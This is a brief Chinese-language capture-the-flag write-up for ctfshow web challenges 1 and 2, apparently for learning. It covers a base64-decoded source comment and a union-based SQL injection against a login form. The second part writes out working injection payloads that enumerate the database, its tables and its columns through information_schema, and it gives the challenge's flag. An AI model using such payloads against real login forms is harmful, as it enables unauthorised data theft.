ctfshow web 1-2

ctfshow web 1-3
第一题是签到题

打开链接后

看看源码：

发现一段注释
base64解码：

web2
打开链接：

是一个登录界面，猜测可以sql注入：

尝试注入点

有回显，说明可以sql注入
爆破注入点数量：
admin’ union select 1,2,3#

说明有三个注入点
爆破数据库名：
admin’ union select 1,database(),3#

数据库名是web
联合查询查表名：
admin’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
有两个表flag和user
猜测flag就在flag这个表里面
就爆破flag这个表：
联合查询：admin’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’#
只有flag一列数据
查询这一列数据：
admin’ union select 1,flag,3 from flag#
直接回显flag
ctfshow{ef340bd6-5a61-4adc-a889-469bb6e31482}